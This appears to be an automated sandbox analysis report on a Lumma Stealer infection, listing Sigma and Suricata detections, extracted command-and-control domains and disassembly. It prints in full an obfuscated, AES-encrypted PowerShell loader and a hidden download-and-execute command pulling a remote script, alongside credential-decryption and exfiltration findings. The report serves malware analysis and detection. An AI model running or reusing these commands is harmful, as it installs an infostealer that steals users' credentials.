eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", ProcessId: 2800, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B3749

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4420, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T15:10:32.806882+0100	2028371	3	Unknown Traffic	192.168.2.4	49823	104.21.112.1	443	TCP
2024-12-25T15:10:34.796392+0100	2028371	3	Unknown Traffic	192.168.2.4	49825	104.21.112.1	443	TCP
2024-12-25T15:10:37.049964+0100	2028371	3	Unknown Traffic	192.168.2.4	49831	104.21.112.1	443	TCP
2024-12-25T15:10:39.243565+0100	2028371	3	Unknown Traffic	192.168.2.4	49837	104.21.112.1	443	TCP
2024-12-25T15:10:41.307454+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	104.21.112.1	443	TCP
2024-12-25T15:10:43.671394+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	104.21.112.1	443	TCP
2024-12-25T15:10:45.928030+0100	2028371	3	Unknown Traffic	192.168.2.4	49860	104.21.112.1	443	TCP
2024-12-25T15:10:49.426528+0100	2028371	3	Unknown Traffic	192.168.2.4	49866	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T15:10:33.534400+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49823	104.21.112.1	443	TCP
2024-12-25T15:10:35.555381+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49825	104.21.112.1	443	TCP
2024-12-25T15:10:50.190773+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49866	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T15:10:33.534400+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49823	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T15:10:35.555381+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49825	104.21.112.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-25T15:10:40.011889+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49837	104.21.112.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 12.2.powershell.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "hushedocenahu.click", "crosshuaht.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "aspecteirs.lat"], "Build id": "yJEcaG--singl7"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Sample uses string decryption to hide its real strings

Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: energyaffai.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: discokeyus.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: grannyejh.lat
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: hushedocenahu.click
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 12.2.powershell.exe.400000.0.raw.unpack	String decryptor: yJEcaG--singl7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_00415799 CryptUnprotectData,

12_2_00415799

Source: unknown	HTTPS traffic detected: 104.21.38.253:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49866 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077BEC48h	6_2_077BEA18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077BEC48h	6_2_077BEA08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077BE0D5h	6_2_077BE050
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077C12B6h	6_2_077C1180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077C12B6h	6_2_077C14AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077C12B6h	6_2_077C1270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077C12B6h	6_2_077CCA04
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 077C12B6h	6_2_077C1170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	12_2_00423860
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	12_2_0042DA53
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	12_2_004096C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	12_2_004096C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	12_2_0043C767
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, eax	12_2_00415799
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	12_2_00415799
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	12_2_0042984F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	12_2_00438810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	12_2_00438810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	12_2_00438810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test eax, eax	12_2_00438810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0041682D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	12_2_0041682D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	12_2_0041682D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ecx], bp	12_2_0041D83A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push C0BFD6CCh	12_2_00423086
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push C0BFD6CCh	12_2_00423086
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	12_2_0042B170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	12_2_004179C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	12_2_0043B1D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	12_2_0043B1D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ecx], dx	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	12_2_00405990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, eax	12_2_00405990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, esi	12_2_00422190
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebx], cx	12_2_00422190
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	12_2_00422190
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	12_2_00416263
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	12_2_00415220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push esi	12_2_00427AD3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebx], ax	12_2_0041B2E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push ebx	12_2_0043CA93
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_0041CB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [esi], cx	12_2_0041CB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_00428B61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	12_2_0043F330
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	12_2_0040DBD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	12_2_0040DBD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	12_2_00417380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	12_2_0041D380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp al, 2Eh	12_2_00426B95
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	12_2_00435450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	12_2_00417380
